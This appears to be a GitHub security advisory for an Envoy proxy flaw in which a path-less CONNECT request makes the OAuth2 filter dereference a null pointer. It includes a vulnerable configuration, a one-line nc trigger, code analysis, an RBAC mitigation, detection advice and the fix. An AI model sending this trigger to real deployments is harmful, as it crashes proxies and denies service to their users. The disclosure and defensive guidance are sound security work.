Skip to content

Unauthenticated remote crash (null pointer dereference) in the OAuth2 HTTP filter via a path-less CONNECT request

High
phlax published GHSA-8vc2-jrm4-835w Oct 6, 2026

Package

Envoy (Envoy Proxy)

Affected versions

>= 1.16.0, <1.40.0

Patched versions

1.36.12 1.37.8 1.38.6 1.39.3

Description

Brief description

The OAuth2 HTTP filter (envoy.filters.http.oauth2) dereferences the :path pseudo-header without a null check, guarded only by an ASSERT that is compiled out of release builds. A classic HTTP CONNECT request legitimately carries no :path, and Envoy explicitly permits that. Any unauthenticated client that can reach a listener whose HTTP filter chain contains the OAuth2 filter can therefore crash the Envoy process with a single request.

Affected component(s)

  • envoy.filters.http.oauth2 — security_posture: robust_to_untrusted_downstream, status: stable.
  • Primary sink: source/extensions/filters/http/oauth2/filter.cc:950-952 (OAuth2Filter::decodeHeaders).
  • Second instance of the same defect, reachable on the redirect-to-authorization-server path once the first is fixed: source/extensions/filters/http/oauth2/filter.cc:1275 (OAuth2Filter::redirectToOAuthServer).

Attack vector(s)

A remote, unauthenticated client sends an HTTP CONNECT request in authority-form (or the HTTP/2 equivalent) to any listener running the OAuth2 filter. The worker process segfaults while processing the request headers. Because Envoy runs all workers in a single process, the entire proxy instance dies and all in-flight connections are dropped. The request can be replayed after every restart, so an attacker with a trivial loop can keep an edge Envoy permanently unavailable.

The most exposed deployment is exactly the one the filter is built for: an edge or ingress Envoy fronting an OAuth2-protected application, reachable from the public internet.

Discoverer(s)/Credits

threatroute66 (original reporter)

Michael-JRead
kalt2212

Example exploit or proof-of-concept

Minimal reproducing configuration — a stock OAuth2 setup with an ordinary prefix route:

static_resources:
  listeners:
  - name: listener_0
    address: { socket_address: { address: 0.0.0.0, port_value: 10000 } }
    filter_chains:
    - filters:
      - name: envoy.filters.network.http_connection_manager
        typed_config:
          "@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
          stat_prefix: ingress_http
          route_config:
            virtual_hosts:
            - name: local
              domains: ["*"]
              routes:
              - match: { prefix: "/" }        # ordinary route; no connect_matcher
                route: { cluster: service }
          http_filters:
          - name: envoy.filters.http.oauth2
            typed_config:
              "@type": type.googleapis.com/envoy.extensions.filters.http.oauth2.v3.OAuth2
              config:
                token_endpoint:
                  cluster: oauth
                  uri: https://example.com/token
                  timeout: 3s
                authorization_endpoint: https://example.com/authorize
                redirect_uri: "https://%REQ(:authority)%/callback"
                redirect_path_matcher: { path: { exact: "/callback" } }
                signout_path: { path: { exact: "/signout" } }
                credentials:
                  client_id: foo
                  token_secret: { name: token }
                  hmac_secret: { name: hmac }
          - name: envoy.filters.http.router
            typed_config:
              "@type": type.googleapis.com/envoy.extensions.filters.http.router.v3.Router

Trigger, HTTP/1.1:

printf 'CONNECT anything:443 HTTP/1.1\r\nHost: anything:443\r\n\r\n' | nc <envoy-host> 10000

Trigger, HTTP/2 — a HEADERS frame with :method: CONNECT and :authority: anything:443, and no :path, :scheme or :protocol pseudo-headers.

Observed result: the connection closes with no response and the Envoy process terminates with SIGSEGV. In a debug build the same request aborts at ASSERT(path_header != nullptr), source/extensions/filters/http/oauth2/filter.cc:951, which confirms the same code path.

Note there is deliberately no upgrade_configs and no connect_matcher in the config above — that is the default, and it is the vulnerable case. See "Details".

Details

The defect

source/extensions/filters/http/oauth2/filter.cc:950-952:

const Http::HeaderEntry* path_header = headers.Path();
ASSERT(path_header != nullptr);
const absl::string_view path_str = path_header->value().getStringView();   // null dereference

ASSERT expands to _NULL_ASSERT_IMPL when NDEBUG is defined and neither ENVOY_LOG_DEBUG_ASSERT_IN_RELEASE nor ENVOY_LOG_FAST_DEBUG_ASSERT_IN_RELEASE is set (source/common/common/assert.h:260). In shipped release binaries line 951 is a no-op and line 952 dereferences nullptr.

Why :path can be absent

A classic CONNECT request has no :path, and Envoy is explicit about permitting it. HeaderUtility::checkRequiredRequestHeaders (source/common/http/header_utility.cc:497) requires :path only in the non-CONNECT branch; for CONNECT it requires only Host, and separately rejects the mismatched combinations of :path and :protocol that would indicate a malformed extended CONNECT.

The HTTP/1 server codec never sets :path for a CONNECT: ServerConnectionImpl::handlePath parses the authority-form target through Utility::Url::initialize(..., is_connect=true), which yields an empty pathAndQueryParams(), and the assignment is guarded (source/common/http/http1/codec_impl.cc:1177):

if (!absolute_url.pathAndQueryParams().empty()) {
  headers.setPath(absolute_url.pathAndQueryParams());
}

The rest of core Envoy handles this correctly and defensively — ConnectionManagerUtility::maybeNormalizePath returns early on !request_headers.Path() (conn_manager_utility.cc:785), and the connection manager's MissingPath rejection is explicitly skipped for CONNECT (conn_manager_impl.cc:1474):

if ((!HeaderUtility::isConnect(*request_headers_) || request_headers_->Path()) &&
    request_headers_->getPathValue().empty()) {
  sendLocalReply(Code::NotFound, "", ..., ResponseCodeDetails::get().MissingPath);
  return;
}

Why the "route rejects CONNECT" path does not mitigate this

The natural assumption is that a route table without upgrade_configs for CONNECT rejects the request before the filter chain runs. It does not, in the common case.

The upgrade rejection at conn_manager_impl.cc:1583-1592 is nested inside if (hasCachedRoute()):

if (hasCachedRoute()) {
  if (create_chain_result.upgradeRejected()) {
    ...
    sendLocalReply(Code::Forbidden, "", ..., ResponseCodeDetails::get().UpgradeFailed);
    return;
  }
}

and hasCachedRoute() is cached_route_.has_value() && cached_route_.value() (conn_manager_impl.h:423) — false when no route matched.

For a path-less request, no route matches unless the operator configured one specifically for CONNECT. RouteMatcher::route skips every candidate whose supportsPathlessHeaders() returns false (source/common/router/config_impl.cc:1824):

if (!route_match_context.headers().Path() && !(*route)->supportsPathlessHeaders()) {

and only ConnectRouteEntryImpl — a route built from a connect_matcher — overrides that to true (source/common/router/config_impl.h:1181). Prefix, path and safe_regex routes all return the base-class false.

So under any ordinary route table: no route matches → hasCachedRoute() is false → the 403 branch is skipped → execution falls through to filter_manager_.decodeHeaders() at conn_manager_impl.cc:1604 → the OAuth2 filter runs → crash.

The only configuration that is not vulnerable is one where a connect_matcher route both matches the request and rejects CONNECT upgrades. If a connect_matcher route matches and permits CONNECT, the filter chain runs and the crash still occurs.

Why no earlier code in the filter short-circuits

Between OAuth2Filter::decodeHeaders entry (line 895) and the dereference (line 952):

  • lines 898-899 remove the x-oauth-status / failure-reason headers;
  • line 906 returns Continue only if no config resolved;
  • line 920 returns Continue only if a pass_through_matcher matches — none is configured by default;
  • line 925 sends a local reply only if secrets are not yet loaded;
  • line 934 decryptAndUpdateOAuthTokenCookies reads and rewrites only the Cookie header;
  • line 941 removes the Authorization header;
  • line 948 dereferences headers.Host(), which is safe because Host is required for CONNECT.

None of these depends on or guards :path.

Precedent in the codebase

This class of bug is already recognised and fixed elsewhere, including in this same file:

  • source/extensions/filters/http/oauth2/filter.cc:1798 — OAuth2Filter::shouldAllowFailed uses exactly the correct idiom: const Http::HeaderEntry* path_header = headers.Path(); if (path_header != nullptr) { ... }
  • source/extensions/filters/http/jwt_authn/matcher.cc:125 — if (headers.Path() == nullptr) { return false; }
  • source/extensions/filters/http/header_mutation/header_mutation.cc:117 — if (query_query_parameter_mutations_.empty() || headers.Path() == nullptr) { return; }
  • source/common/router/router.cc:2210 — if (!downstream_headers.Path()) { ... return false; }
  • source/extensions/filters/common/rbac/matchers.cc:391 — if (headers.Path() == nullptr) { return false; }

decodeHeaders was simply not updated to match.

Test coverage

test/extensions/filters/http/oauth2/ contains no test that exercises a CONNECT request. This is why six years of test runs did not surface it.

Mitigations

Preferred: reject CONNECT before the OAuth2 filter. Insert an RBAC filter ahead of envoy.filters.http.oauth2 in http_filters that denies :method: CONNECT:

- name: envoy.filters.http.rbac
  typed_config:
    "@type": type.googleapis.com/envoy.extensions.filters.http.rbac.v3.RBAC
    rules:
      action: DENY
      policies:
        deny-connect:
          permissions:
          - header: { name: ":method", string_match: { exact: "CONNECT" } }
          principals:
          - any: true

This is safe on path-less requests: the RBAC header matcher reads :method, which is always present, and RBAC's own path matcher explicitly handles a null :path (source/extensions/filters/common/rbac/matchers.cc:391).

Alternative: if the deployment genuinely needs neither CONNECT nor the OAuth2 filter on the same listener, separate them onto different listeners.

Not a mitigation: omitting upgrade_configs/CONNECT support from the route table. As shown above, that is the vulnerable configuration, not a safe one.

Build-level: compiling with ENVOY_LOG_DEBUG_ASSERT_IN_RELEASE converts the crash from a segfault into a controlled abort with a log line. It does not keep the process alive and is not a mitigation for availability.

Detection

Because the process dies while handling the request, the offending request generally does not reach the access log. Look for:

  1. Fatal-error backtrace. Envoy's fatal signal handler dumps a stack trace on SIGSEGV. An affected crash shows frames through Envoy::Extensions::HttpFilters::Oauth2::OAuth2Filter::decodeHeaders and Envoy::Http::FilterManager::decodeHeaders.
  2. Unexplained process restarts on listeners running the OAuth2 filter, particularly repeated restarts at a steady interval, which indicates an attacker replaying the request.
  3. Upstream of the proxy, if a load balancer or CDN logs requests Envoy never answered: CONNECT requests in authority-form with no path, immediately followed by a connection reset.
  4. Pre-emptively, on unaffected or patched versions: an access log format including %REQ(:METHOD)% and %REQ(:PATH)% will show CONNECT with an empty path reaching listeners that run the OAuth2 filter. Any such entry indicates a request that would crash a vulnerable build.

Fix

The filter now rejects requests without a :path header with a 400 Bad Request local reply (response code detail oauth_missing_path) rather than dereferencing the missing header.

References

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

No known CVE

Weaknesses

NULL Pointer Dereference

The product dereferences a pointer that it expects to be valid but is NULL. Learn more on MITRE.

Credits